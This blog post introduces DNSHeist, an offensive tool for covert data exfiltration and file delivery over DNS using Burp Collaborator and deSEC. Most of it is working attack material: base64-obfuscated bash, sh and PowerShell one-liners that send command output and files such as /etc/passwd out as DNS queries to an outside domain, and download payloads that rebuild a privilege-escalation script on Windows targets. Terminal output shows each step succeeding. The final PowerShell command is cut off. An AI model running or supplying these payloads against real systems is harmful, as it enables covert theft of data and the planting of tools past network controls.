↓ Skip to main content
k4z0 Ioannis Kazoleas

DNS File Transfer & Command Retrieval with BurpSuite Collaborator and deSEC

·1236 words·6 mins

DNSHeist is a tool that allows exfiltration of data from isolated systems that impose strict network restrictions. By relying solely on DNS queries it is possible to retrieve files and command output or send files to the target system.

The main advantage of DNSHeist over similar tools is that it can be set up quickly from a home lab without requiring a custom server while it offers publicly accessible domains. To achieve this it relies on existing services, such as burp Collaborator and deSEC (free). It was inspired by the Collabfiltrator extension.

TL;DR, this tool allows you to:

  • Exfiltrate command output and files from a target system through DNS queries using Burp Suite Collaborator. Zero server & domain setup. The exfiltration command is minimal and relies only on native Windows and Unix-like system tools.
  • Send a file to a restricted system by compressing it and staging it as TXT records. The file is fetched on the target using native tools and is verified to ensure it remains intact.

Exfiltration:

Target → DNS queries → Burp Collaborator → DNSHeist

File transfer:

Source file → compress → split → deSEC TXT records → DNS queries → reconstruct → decompress → MD5 verification

Exfiltration
#

Burp Suite configuration
#

To expose Burp Suite Collaborator functionality, a small Python extension is used, that creates a new local web server that exposes an API to the main script.

The extension can be added to Burp Suite by navigating to Extensions -> Add and selecting the Python file. It is also required to have Jython configured.

Once the extension is loaded it will display the local URL:

Command Output Exfiltration
#

To retrieve the output of a command you can run the script in interactive mode as shown below. For one-off commands refer to the end of this section.

┌──(john㉿kali)-[~/Desktop/DNSHeist]
└─$ python3 main.py --from-burp
============================================================
  DNSHeist
============================================================
[*] Polling Burp helper at http://127.0.0.1:18542
[*] Connected
[*] Collaborator domain: 3kor064g6vhyx4ixnhagqqtoyf45su.oastify.com

  [1] Execute command
  [2] Exfiltrate file

[?] Mode: 1
[?] Command to execute on target: uname -a

  [1] PowerShell (nslookup)
  [2] bash + nslookup
  [3] bash + ping (slow)
  [4] sh + nslookup
  [5] sh + ping (slow)
  [a] Show all payloads

[?] Select platform: 3

============================================================
  bash + ping payload:
============================================================

  echo aT0wO2Q9IjNrb3IwNjRnNnZoeXg0aXhuaGFncXF0b3lmNDVzdS5vYXN0aWZ5LmNvbSI7dW5hbWUgLWF8b2QgLUEgbiAtdCB4MXxzZWQgJ3MvIC8vZyd8d2hpbGUgcmVhZCBqOyBkbyBpZiBbICEgLXogIiRqIiBdOyB0aGVuIHBpbmcgLWMxICQocHJpbnRmICclMDRkJyAkaSkuJGouJGQ7KChpKyspKTtmaTsgZG9uZQ==|base64 -d|bash

============================================================

[*] Waiting for DNS interactions...

[*] Press ENTER to stop receiving and write output.

The generated payload is executed on the target system:

$ echo aT0wO2Q9IjNrb3IwNjRnNnZoeXg0aXhuaGFncXF0b3lmNDVzdS5vYXN0aWZ5LmNvbSI7dW5hbWUgLWF8b2QgLUEgbiAtdCB4MXxzZWQgJ3MvIC8vZyd8d2hpbGUgcmVhZCBqOyBkbyBpZiBbICEgLXogIiRqIiBdOyB0aGVuIHBpbmcgLWMxICQocHJpbnRmICclMDRkJyAkaSkuJGouJGQ7KChpKyspKTtmaTsgZG9uZQ==|base64 -d|bash
PING publicinteractionnlb-3bddf5ff6abb91b6.elb.eu-west-1.amazonaws.com (54.77.139.23) 56(84) bytes of data.

--- publicinteractionnlb-3bddf5ff6abb91b6.elb.eu-west-1.amazonaws.com ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms

PING publicinteractionnlb-3bddf5ff6abb91b6.elb.eu-west-1.amazonaws.com (54.77.139.23) 56(84) bytes of data.

--- publicinteractionnlb-3bddf5ff6abb91b6.elb.eu-west-1.amazonaws.com ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms

...

On our system, we can see the received chunks in real time:

[*] Waiting for DNS interactions...

[*] Press ENTER to stop receiving and write output.

  [RECV 0000] 4c696e7578206B616C6920372e302E31
  [RECV 0001] 322B6B616C692D61726d363420233120
  [RECV 0002] 534D5020505245454d5054204b616c69
  [RECV 0003] 20372e302E31322D326B616C69312028
  [RECV 0004] 323032362D30362D3138292061617263
  [RECV 0005] 68363420474E552F4c696e75780A


[+] Received 6 chunks

============================================================
  RECONSTRUCTED OUTPUT
============================================================
Linux kali 7.0.12+kali-arm64 #1 SMP PREEMPT Kali 7.0.12-2kali1 (2026-06-18) aarch64 GNU/Linux

============================================================

The script accepts arguments for one-off commands as well. For example:

python3 main.py --from-burp --cmd "uname -a" --platform 4
python3 main.py --from-burp --file "C:\\Windows\\System32\\drivers\\etc\\hosts" --platform 1

File exfiltration
#

File exfiltration is achieved by converting the file contents to hexadecimal and splitting the resulting data into TXT record chunks. The payload has this format FILE:<File Name>:<File Size>:<Contents of file in HEX>

┌──(john㉿kali)-[~/Desktop/DNSHeist]
└─$ python3 main.py --from-burp
============================================================
  DNSHeist
============================================================
[*] Polling Burp helper at http://127.0.0.1:18542
[*] Connected
[*] Collaborator domain: 3kor064g6vhyx4ixnhagqqtoyf45su.oastify.com

  [1] Execute command
  [2] Exfiltrate file

[?] Mode: 2
[?] File path on target: /etc/passwd

  [1] PowerShell (nslookup)
  [2] bash + nslookup
  [3] bash + ping (slow)
  [4] sh + nslookup
  [5] sh + ping (slow)
  [a] Show all payloads

[?] Select platform: 4

============================================================
  sh + nslookup payload:
============================================================

  echo Zj0iL2V0Yy9wYXNzd2QiO249JChiYXNlbmFtZSAiJGYiKTtzPSQod2MgLWMgPCAiJGYifHRyIC1kICIgIik7ZD0iM2tvcjA2NGc2dmh5eDRpeG5oYWdxcXRveWY0NXN1Lm9hc3RpZnkuY29tIjtpPTA7KHByaW50ZiAiRklMRTolczolcyIgIiRuIiAiJHMiO2NhdCAiJGYiKXxvZCAtQSBuIC10IHgxfHNlZCAncy8gLy9nJ3x3aGlsZSByZWFkIGo7IGRvIGlmIFsgISAteiAiJGoiIF07IHRoZW4gbnNsb29rdXAgIiQocHJpbnRmICclMDRkJyAkaSkuJGouJGQiO2k9JCgoaSsxKSk7Zmk7IGRvbmU=|base64 -d|sh

============================================================

[*] Waiting for DNS interactions...

[*] Press ENTER to stop receiving and write output.

The provided payload is run on the target system:

$ echo Zj0iL2V0Yy9wYXNzd2QiO249JChiYXNlbmFtZSAiJGYiKTtzPSQod2MgLWMgPCAiJGYifHRyIC1kICIgIik7ZD0iM2tvcjA2NGc2dmh5eDRpeG5oYWdxcXRveWY0NXN1Lm9hc3RpZnkuY29tIjtpPTA7KHByaW50ZiAiRklMRTolczolcyIgIiRuIiAiJHMiO2NhdCAiJGYiKXxvZCAtQSBuIC10IHgxfHNlZCAncy8gLy9nJ3x3aGlsZSByZWFkIGo7IGRvIGlmIFsgISAteiAiJGoiIF07IHRoZW4gbnNsb29rdXAgIiQocHJpbnRmICclMDRkJyAkaSkuJGouJGQiO2k9JCgoaSsxKSk7Zmk7IGRvbmU=|base64 -d|sh
;; Got recursion not available from 192.168.101.2
Server:         192.168.101.2
Address:        192.168.101.2#53

0000.46494c453a7061737377643a34313339.3kor064g6vhyx4ixnhagqqtoyf45su.oastify.com        canonical name = publicinteractionnlb-3bddf5ff6abb91b6.elb.eu-west-1.amazonaws.com.
Name:   publicinteractionnlb-3bddf5ff6abb91b6.elb.eu-west-1.amazonaws.com
Address: 3.248.33.252
;; Got recursion not available from 192.168.101.2
Name:   publicinteractionnlb-3bddf5ff6abb91b6.elb.eu-west-1.amazonaws.com
Address: 3.248.33.252

;; Got recursion not available from 192.168.101.2
Server:         192.168.101.2
Address:        192.168.101.2#53

0001.726f6f743a783a303a303a726f6f743a.3kor064g6vhyx4ixnhagqqtoyf45su.oastify.com        canonical name = publicinteractionnlb-3bddf5ff6abb91b6.elb.eu-west-1.amazonaws.com.
Name:   publicinteractionnlb-3bddf5ff6abb91b6.elb.eu-west-1.amazonaws.com
Address: 3.248.33.252

...

On our system, we can see the received chunks in real time:

============================================================

[*] Waiting for DNS interactions...

[*] Press ENTER to stop receiving and write output.

  [RECV 0000] 46494C453A7061737377643A34313339
  [RECV 0001] 3a726F6F743A783a303A303A726f6F74
  [RECV 0002] 3a2F726f6f743A2f7573722F62696E2f
  [RECV 0003] 7a73680a6461656d6F6E3a783A313a31

...

  [RECV 0257] 3A783a3132383a3132383A3a2f72756E
  [RECV 0258] 2F6d63702d6B616C693a2f7573722F73
  [RECV 0259] 62696e2F6E6f6c6F67696e0a


[+] Received 260 chunks
[*] File transfer: passwd
[*] Expected: 4139 bytes, received: 4139 bytes

============================================================
  FILE SAVED: passwd (4139 bytes)
============================================================

┌──(john㉿kali)-[~/Desktop/DNSHeist]
└─$ head -n 3 ./passwd
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

Sending a file to the target
#

Configuring deSEC
#

You can register a free account at https://desec.io/ (choose dynDNS domain). Any user is allowed to register up to 1 free domain name.

By going to the “TOKEN MANAGEMENT” area, you can create a new API token which can be used to configure DNS records through the API:

Staging the file to TXT records
#

The following command can be used to stage a file as TXT records. The script utilizes the deSEC API to automate the process. The file is compressed before being split, and the payload also includes the MD5 hash to ensure the file reaches the target intact:

┌──(john㉿kali)-[~/Desktop/DNSHeist]
└─$ python3 main.py --desec-domain k4z0.dedyn.io --desec-token <REDACTED> --desec-stage /usr/share/peass/winpeas/winPEAS.bat --desec-dest C:\\Windows\\Tasks\\out.bat
[*] Checking for existing staged records on k4z0.dedyn.io...
[?] Found 43 existing staged records. Clean before staging? [Y/n] Y
[*] Fetching existing records for k4z0.dedyn.io...
[*] Removing 43 staged TXT records (1 batch)...
  [*] Deleted batch 1/1
[+] Cleaned 43 records from k4z0.dedyn.io
[*] File:        /usr/share/peass/winpeas/winPEAS.bat
[*] Original:    39630 bytes
[*] MD5:         a2dbde5f83b158cf8e03e8d75508fd01
[*] Compressed:  9150 bytes (23%)
[*] Chunks:      41 TXT records
[*] Verify:      OK (reassembly + decompress passed)
[*] Uploading 43 TXT records to k4z0.dedyn.io (1 batch)...
  [*] Batch 1/1 uploaded
[+] Staged 41 chunks + EOF on k4z0.dedyn.io

============================================================
  DOWNLOAD PAYLOADS (native tools — no client script needed)
  Source: k4z0.dedyn.io
  Dest:   C:\Windows\Tasks\out.bat
============================================================

  [1] PowerShell (parallel):
  powershell -enc JABkAD0AIgBrADQAegAwAC4AZABlAGQAeQBuAC4AaQBvACIAOwAkAG8APQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXABvAHUAdAAuAGIAYQB0ACIAOwAkAG0APQAoAFIAZQBzAG8AbAB2AGUALQBEAG4AcwBOAGEAbQBlACAALQBUAHkAcABlACAAVABYAFQAIAAiAG0AZQB0AGEALgAkAGQAIgApAC4AUwB0AHIAaQBuAGcAcwAtAGoAbwBpAG4AJwAnADsAJABtAC0AbQBhAHQAYwBoACcATgA6ACgAXABkACsAKQAnAHwATwB1AHQALQBOAHUAbABsADsAJABuAD0AWwBpAG4AdABdACQATQBhAHQAYwBoAGUAcwBbADEAXQA7ACQAZwB6AD0AJABtAC0AbQBhAHQAYwBoACcARwBaADoAMQAnADsAJABtAC0AbQBhAHQAYwBoACcATQA6ACgAXAB3ACsAKQAnAHwATwB1AHQALQBOAHUAbABsADsAJAB4AGgAPQAkAE0AYQB0AGMAaABlAHMAWwAxAF0AOwBXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBbACoAXQAgACQAbgAgAGMAaAB1AG4AawBzACAAZwB6AD0AJABnAHoAIABtAGQANQA9ACQAeABoACIAOwAkAHAAbwBvAGwAPQBbAHIAdQBuAHMAcABhAGMAZQBmAGEAYwB0AG8AcgB5AF0AOgA6AEMAcgBlAGEAdABlAFIAdQBuAHMAcABhAGMAZQBQAG8AbwBsACgAMQAsADEAMAApADsAJABwAG8AbwBsAC4ATwBwAGUAbgAoACkAOwAkAFQAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQwBvAGwAbABlAGMAdABpAG8AbgBzAC4AQQByAHIAYQB5AEwAaQBzAHQAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkALQBsAHQAJABuADsAJABpACsAKwApAHsAJAByAD0AWwBwAG8AdwBlAHIAcwBoAGUAbABsAF0AOgA6AEMAcgBlAGEAdABlACgAKQAuAEEAZABkAFMAYwByAGkAcAB0ACgAewBwAGEAcgBhAG0AKAAkAHgAKQAoAFIAZQBzAG8AbAB2AGUALQBEAG4AcwBOAGEAbQBlACAALQBUAHkAcABlACAAVABYAFQAIAAkAHgAIAAtAEUAQQAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdAByAGkAbgBnAHMALQBqAG8AaQBuACcAJwB9ACkALgBBAGQAZABBAHIAZwB1AG0AZQBuAHQAKAAiACQAKAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAAnADAAMAAwADAAJwApACkALgAkAGQAIgApADsAJAByAC4AUgB1AG4AcwBwAGEAYwBlAFAAbwBvAGwAPQAkAHAAbwBvAGwAOwBbAHYAbwBpAGQAXQAkAFQALgBBAGQAZAAoAEAAewBQAD0AJAByADsASAA9ACQAcgAuAEIAZQBnAGkAbgBJAG4AdgBvAGsAZQAoACkAOwBJAD0AJABpAH0AKQB9ADsAJABoAD0AIgAiADsAJABUAHwAUwBvAHIAdAAtAE8AYgBqAGUAYwB0AHsAJABfAC4ASQB9AHwAJQB7ACQAdgA9ACQAXwAuAFAALgBFAG4AZABJAG4AdgBvAGsAZQAoACQAXwAuAEgAKQA7ACQAXwAuAFAALgBEAGkAcwBwAG8AcwBlACgAKQA7ACQAcwA9AGkAZgAoACQAdgApAHsAJAB2AFsAMABdAH0AZQBsAHMAZQB7ACIAIgB9ADsAaQBmACgAJABfAC4ASQAtAGUAcQAwAC0AYQBuAGQAJABzAC4AUwB0AGEAcgB0AHMAVwBpAHQAaAAoACIARwBaADoAIgApACkAewAkAHMAPQAkAHMALgBTAHUAYgBzAHQAcgBpAG4AZwAoADMAKQB9ADsAJABoACsAPQAkAHMAfQA7ACQAcABvAG8AbAAuAEMAbABvAHMAZQAoACkAOwAkAGIAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAYgB5AHQAZQBbAF0AKAAkAGgALgBMAGUAbgBnAHQAaAAvADIAKQA7AGYAbwByACgAJABqAD0AMAA7ACQAagAtAGwAdAAkAGgALgBMAGUAbgBnAHQAaAA7ACQAagArAD0AMgApAHsAJABiAFsAJABqAC8AMgBdAD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAHkAdABlACgAJABoAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAGoALAAyACkALAAxADYAKQB9ADsAaQBmACgAJABnAHoAKQB7ACQAbQBzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALAAkAGIAKQA7ACQAZwBzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAWgBpAHAAUwB0AHIAZQBhAG0AKAAkAG0AcwAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABvAHMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AOwAkAGcAcwAuAEMAbwBwAHkAVABvACgAJABvAHMAKQA7ACQAYgA9ACQAbwBzAC4AVABvAEEAcgByAGEAeQAoACkAfQA7AFsASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAQgB5AHQAZQBzACgAJABvACwAJABiACkAOwAkAGsAPQBbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoAFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBNAEQANQBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBDAG8AbQBwAHUAdABlAEgAYQBzAGgAKAAkAGIAKQApAC4AUgBlAHAAbABhAGMAZQAoACIALQAiACwAIgAiACkALgBUAG8ATABvAHcAZQByACgAKQA7AGkAZgAoACQAawAtAGUAcQAkAHgAaAApAHsAVwByAGkAdABlAC0ASABvAHMAdAAgACIAWwArAF0AIABPAEsAIAAkAG8AIABtAGQANQA9ACQAawAiAH0AZQBsAHMAZQB7AFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAFsAIQBdACAATQBJAFMATQBBAFQAQwBIACAAZQB4AHAAZQBjAHQAPQAkAHgAaAAgAGcAbwB0AD0AJABrACIAfQA=

  [2] bash + dig (parallel):
  echo ZD1rNHowLmRlZHluLmlvO289QzpcV2luZG93c1xUYXNrc1xvdXQuYmF0O3EoKXsgZGlnICtzaG9ydCBUWFQgIiQxLiRkInx0ciAtZCAnIiBcbic7fTttPSQocSBtZXRhKTtuPSR7bSUlLCp9O249JHtuI046fTtoPSR7bSMjKk06fTtnPSR7bSUsTToqfTtnPSR7ZyMjKkdaOn07ZWNobyAiWypdICRuIGNodW5rcyBnej0kZyBtZDU9JGgiPiYyO0Q9JChta3RlbXAgLWQpO2k9MDt3aGlsZSBbICRpIC1sdCAkbiBdO2RvIGI9MDt3aGlsZSBbICRiIC1sdCAxMCBdJiZbICQoKGkrYikpIC1sdCAkbiBdO2RvIHM9JChwcmludGYgJTA0ZCAkKChpK2IpKSk7cSAkcz4kRC8kcyAmIGI9JCgoYisxKSk7ZG9uZTt3YWl0O2k9JCgoaSsxMCkpO2RvbmU7aj0wO2U9MDt3aGlsZSBbICRqIC1sdCAkbiBdO2RvIHM9JChwcmludGYgJTA0ZCAkaik7WyAtcyAkRC8kcyBdfHx7IHEgJHM+JEQvJHM7ZT0kKChlKzEpKTt9O2o9JCgoaisxKSk7ZG9uZTtbICRlIC1ndCAwIF0mJmVjaG8gIlsqXSByZXRyaWVkICRlIj4mMjtmPSRELzAwMDA7Yz0kKGNhdCAkZik7cHJpbnRmICVzICIke2MjR1o6fSI+JGY7dD0kKG1rdGVtcCk7aj0wO3doaWxlIFsgJGogLWx0ICRuIF07ZG8gY2F0ICRELyQocHJpbnRmICUwNGQgJGopPj4kdDtqPSQoKGorMSkpO2RvbmU7eHhkIC1yIC1wICR0fHsgWyAkZyA9IDEgXSYmZ3VuemlwfHxjYXQ7fT4kbztybSAtcmYgJEQgJHQ7Y2htb2QgK3ggJG87az0kKG1kNXN1bSAkb3xjdXQgLWRcICAtZjEpO2lmIFsgIiRrIiA9ICIkaCIgXTt0aGVuIGVjaG8gIlsrXSBPSyAkbyBtZDU9JGsiPiYyO2Vsc2UgZWNobyAiWyFdIE1JU01BVENIIGV4cGVjdD0kaCBnb3Q9JGsiPiYyO2Zp|base64 -d|bash

  [3] bash + dig +cd (parallel, no DNSSEC):
  echo ZD1rNHowLmRlZHluLmlvO289QzpcV2luZG93c1xUYXNrc1xvdXQuYmF0O3EoKXsgZGlnICtzaG9ydCArY2QgVFhUICIkMS4kZCJ8dHIgLWQgJyIgXG4nO307bT0kKHEgbWV0YSk7bj0ke20lJSwqfTtuPSR7biNOOn07aD0ke20jIypNOn07Zz0ke20lLE06Kn07Zz0ke2cjIypHWjp9O2VjaG8gIlsqXSAkbiBjaHVua3MgZ3o9JGcgbWQ1PSRoIj4mMjtEPSQobWt0ZW1wIC1kKTtpPTA7d2hpbGUgWyAkaSAtbHQgJG4gXTtkbyBiPTA7d2hpbGUgWyAkYiAtbHQgMTAgXSYmWyAkKChpK2IpKSAtbHQgJG4gXTtkbyBzPSQocHJpbnRmICUwNGQgJCgoaStiKSkpO3EgJHM+JEQvJHMgJiBiPSQoKGIrMSkpO2RvbmU7d2FpdDtpPSQoKGkrMTApKTtkb25lO2o9MDtlPTA7d2hpbGUgWyAkaiAtbHQgJG4gXTtkbyBzPSQocHJpbnRmICUwNGQgJGopO1sgLXMgJEQvJHMgXXx8eyBxICRzPiRELyRzO2U9JCgoZSsxKSk7fTtqPSQoKGorMSkpO2RvbmU7WyAkZSAtZ3QgMCBdJiZlY2hvICJbKl0gcmV0cmllZCAkZSI+JjI7Zj0kRC8wMDAwO2M9JChjYXQgJGYpO3ByaW50ZiAlcyAiJHtjI0daOn0iPiRmO3Q9JChta3RlbXApO2o9MDt3aGlsZSBbICRqIC1sdCAkbiBdO2RvIGNhdCAkRC8kKHByaW50ZiAlMDRkICRqKT4+JHQ7aj0kKChqKzEpKTtkb25lO3h4ZCAtciAtcCAkdHx7IFsgJGcgPSAxIF0mJmd1bnppcHx8Y2F0O30+JG87cm0gLXJmICREICR0O2NobW9kICt4ICRvO2s9JChtZDVzdW0gJG98Y3V0IC1kXCAgLWYxKTtpZiBbICIkayIgPSAiJGgiIF07dGhlbiBlY2hvICJbK10gT0sgJG8gbWQ1PSRrIj4mMjtlbHNlIGVjaG8gIlshXSBNSVNNQVRDSCBleHBlY3Q9JGggZ290PSRrIj4mMjtmaQ==|base64 -d|bash

  [4] bash + nslookup (parallel):
  echo ZD1rNHowLmRlZHluLmlvO289QzpcV2luZG93c1xUYXNrc1xvdXQuYmF0O3EoKXsgbnNsb29rdXAgLXR5cGU9dHh0ICIkMS4kZCIgMj4vZGV2L251bGx8YXdrIC1GJyInICcvdGV4dC97Zm9yKGk9MjtpPD1ORjtpKz0yKXByaW50ZiAkaTtwcmludCAiIn0nOyB9O209JChxIG1ldGEpO249JHttJSUsKn07bj0ke24jTjp9O2g9JHttIyMqTTp9O2c9JHttJSxNOip9O2c9JHtnIyMqR1o6fTtlY2hvICJbKl0gJG4gY2h1bmtzIGd6PSRnIG1kNT0kaCI+JjI7RD0kKG1rdGVtcCAtZCk7aT0wO3doaWxlIFsgJGkgLWx0ICRuIF07ZG8gYj0wO3doaWxlIFsgJGIgLWx0IDEwIF0mJlsgJCgoaStiKSkgLWx0ICRuIF07ZG8gcz0kKHByaW50ZiAlMDRkICQoKGkrYikpKTtxICRzPiRELyRzICYgYj0kKChiKzEpKTtkb25lO3dhaXQ7aT0kKChpKzEwKSk7ZG9uZTtqPTA7ZT0wO3doaWxlIFsgJGogLWx0ICRuIF07ZG8gcz0kKHByaW50ZiAlMDRkICRqKTtbIC1zICRELyRzIF18fHsgcSAkcz4kRC8kcztlPSQoKGUrMSkpO307aj0kKChqKzEpKTtkb25lO1sgJGUgLWd0IDAgXSYmZWNobyAiWypdIHJldHJpZWQgJGUiPiYyO2Y9JEQvMDAwMDtjPSQoY2F0ICRmKTtwcmludGYgJXMgIiR7YyNHWjp9Ij4kZjt0PSQobWt0ZW1wKTtqPTA7d2hpbGUgWyAkaiAtbHQgJG4gXTtkbyBjYXQgJEQvJChwcmludGYgJTA0ZCAkaik+PiR0O2o9JCgoaisxKSk7ZG9uZTt4eGQgLXIgLXAgJHR8eyBbICRnID0gMSBdJiZndW56aXB8fGNhdDt9PiRvO3JtIC1yZiAkRCAkdDtjaG1vZCAreCAkbztrPSQobWQ1c3VtICRvfGN1dCAtZFwgIC1mMSk7aWYgWyAiJGsiID0gIiRoIiBdO3RoZW4gZWNobyAiWytdIE9LICRvIG1kNT0kayI+JjI7ZWxzZSBlY2hvICJbIV0gTUlTTUFUQ0ggZXhwZWN0PSRoIGdvdD0kayI+JjI7Zmk=|base64 -d|bash

  [5] sh + dig (parallel):
  echo ZD1rNHowLmRlZHluLmlvO289QzpcV2luZG93c1xUYXNrc1xvdXQuYmF0O3EoKXsgZGlnICtzaG9ydCBUWFQgIiQxLiRkInx0ciAtZCAnIiBcbic7fTttPSQocSBtZXRhKTtuPSR7bSUlLCp9O249JHtuI046fTtoPSR7bSMjKk06fTtnPSR7bSUsTToqfTtnPSR7ZyMjKkdaOn07ZWNobyAiWypdICRuIGNodW5rcyBnej0kZyBtZDU9JGgiPiYyO0Q9JChta3RlbXAgLWQpO2k9MDt3aGlsZSBbICRpIC1sdCAkbiBdO2RvIGI9MDt3aGlsZSBbICRiIC1sdCAxMCBdJiZbICQoKGkrYikpIC1sdCAkbiBdO2RvIHM9JChwcmludGYgJTA0ZCAkKChpK2IpKSk7cSAkcz4kRC8kcyAmIGI9JCgoYisxKSk7ZG9uZTt3YWl0O2k9JCgoaSsxMCkpO2RvbmU7aj0wO2U9MDt3aGlsZSBbICRqIC1sdCAkbiBdO2RvIHM9JChwcmludGYgJTA0ZCAkaik7WyAtcyAkRC8kcyBdfHx7IHEgJHM+JEQvJHM7ZT0kKChlKzEpKTt9O2o9JCgoaisxKSk7ZG9uZTtbICRlIC1ndCAwIF0mJmVjaG8gIlsqXSByZXRyaWVkICRlIj4mMjtmPSRELzAwMDA7Yz0kKGNhdCAkZik7cHJpbnRmICVzICIke2MjR1o6fSI+JGY7dD0kKG1rdGVtcCk7aj0wO3doaWxlIFsgJGogLWx0ICRuIF07ZG8gY2F0ICRELyQocHJpbnRmICUwNGQgJGopPj4kdDtqPSQoKGorMSkpO2RvbmU7eHhkIC1yIC1wICR0fHsgWyAkZyA9IDEgXSYmZ3VuemlwfHxjYXQ7fT4kbztybSAtcmYgJEQgJHQ7Y2htb2QgK3ggJG87az0kKG1kNXN1bSAkb3xjdXQgLWRcICAtZjEpO2lmIFsgIiRrIiA9ICIkaCIgXTt0aGVuIGVjaG8gIlsrXSBPSyAkbyBtZDU9JGsiPiYyO2Vsc2UgZWNobyAiWyFdIE1JU01BVENIIGV4cGVjdD0kaCBnb3Q9JGsiPiYyO2Zp|base64 -d|sh

  [6] sh + dig +cd (parallel, no DNSSEC):
  echo ZD1rNHowLmRlZHluLmlvO289QzpcV2luZG93c1xUYXNrc1xvdXQuYmF0O3EoKXsgZGlnICtzaG9ydCArY2QgVFhUICIkMS4kZCJ8dHIgLWQgJyIgXG4nO307bT0kKHEgbWV0YSk7bj0ke20lJSwqfTtuPSR7biNOOn07aD0ke20jIypNOn07Zz0ke20lLE06Kn07Zz0ke2cjIypHWjp9O2VjaG8gIlsqXSAkbiBjaHVua3MgZ3o9JGcgbWQ1PSRoIj4mMjtEPSQobWt0ZW1wIC1kKTtpPTA7d2hpbGUgWyAkaSAtbHQgJG4gXTtkbyBiPTA7d2hpbGUgWyAkYiAtbHQgMTAgXSYmWyAkKChpK2IpKSAtbHQgJG4gXTtkbyBzPSQocHJpbnRmICUwNGQgJCgoaStiKSkpO3EgJHM+JEQvJHMgJiBiPSQoKGIrMSkpO2RvbmU7d2FpdDtpPSQoKGkrMTApKTtkb25lO2o9MDtlPTA7d2hpbGUgWyAkaiAtbHQgJG4gXTtkbyBzPSQocHJpbnRmICUwNGQgJGopO1sgLXMgJEQvJHMgXXx8eyBxICRzPiRELyRzO2U9JCgoZSsxKSk7fTtqPSQoKGorMSkpO2RvbmU7WyAkZSAtZ3QgMCBdJiZlY2hvICJbKl0gcmV0cmllZCAkZSI+JjI7Zj0kRC8wMDAwO2M9JChjYXQgJGYpO3ByaW50ZiAlcyAiJHtjI0daOn0iPiRmO3Q9JChta3RlbXApO2o9MDt3aGlsZSBbICRqIC1sdCAkbiBdO2RvIGNhdCAkRC8kKHByaW50ZiAlMDRkICRqKT4+JHQ7aj0kKChqKzEpKTtkb25lO3h4ZCAtciAtcCAkdHx7IFsgJGcgPSAxIF0mJmd1bnppcHx8Y2F0O30+JG87cm0gLXJmICREICR0O2NobW9kICt4ICRvO2s9JChtZDVzdW0gJG98Y3V0IC1kXCAgLWYxKTtpZiBbICIkayIgPSAiJGgiIF07dGhlbiBlY2hvICJbK10gT0sgJG8gbWQ1PSRrIj4mMjtlbHNlIGVjaG8gIlshXSBNSVNNQVRDSCBleHBlY3Q9JGggZ290PSRrIj4mMjtmaQ==|base64 -d|sh

============================================================

In the deSEC portal, we can verify that the TXT records have been created successfully:

The provided command can be run on the target system to reconstruct the file and save it to the specified destination. The MD5 hash is verified to ensure the file remained intact during the transfer.

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\john> dir C:\Windows\Tasks\
PS C:\Users\john> powershell -enc JABkAD0AIgBrADQAegAwAC4AZABlAGQAeQBuAC4AaQBvACIAOwAkAG8APQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXABvAHUAdAAuAGIAYQB0ACIAOwAkAG0APQAoAFIAZQBzAG8AbAB2AGUALQBEAG4AcwBOAGEAbQBlACAALQBUAHkAcABlACAAVABYAFQAIAAiAG0AZQB0AGEALgAkAGQAIgApAC4AUwB0AHIAaQBuAGcAcwAtAGoAbwBpAG4AJwAnADsAJABtAC0AbQBhAHQAYwBoACcATgA6ACgAXABkACsAKQAnAHwATwB1AHQALQBOAHUAbABsADsAJABuAD0AWwBpAG4AdABdACQATQBhAHQAYwBoAGUAcwBbADEAXQA7ACQAZwB6AD0AJABtAC0AbQBhAHQAYwBoACcARwBaADoAMQAnADsAJABtAC0AbQBhAHQAYwBoACcATQA6ACgAXAB3ACsAKQAnAHwATwB1AHQALQBOAHUAbABsADsAJAB4AGgAPQAkAE0AYQB0AGMAaABlAHMAWwAxAF0AOwBXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBbACoAXQAgACQAbgAgAGMAaAB1AG4AawBzACAAZwB6AD0AJABnAHoAIABtAGQANQA9ACQAeABoACIAOwAkAHAAbwBvAGwAPQBbAHIAdQBuAHMAcABhAGMAZQBmAGEAYwB0AG8AcgB5AF0AOgA6AEMAcgBlAGEAdABlAFIAdQBuAHMAcABhAGMAZQBQAG8AbwBsACgAMQAsADEAMAApADsAJABwAG8AbwBsAC4ATwBwAGUAbgAoACkAOwAkAFQAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQwBvAGwAbABlAGMAdABpAG8AbgBzAC4AQQByAHIAYQB5AEwAaQBzAHQAOwB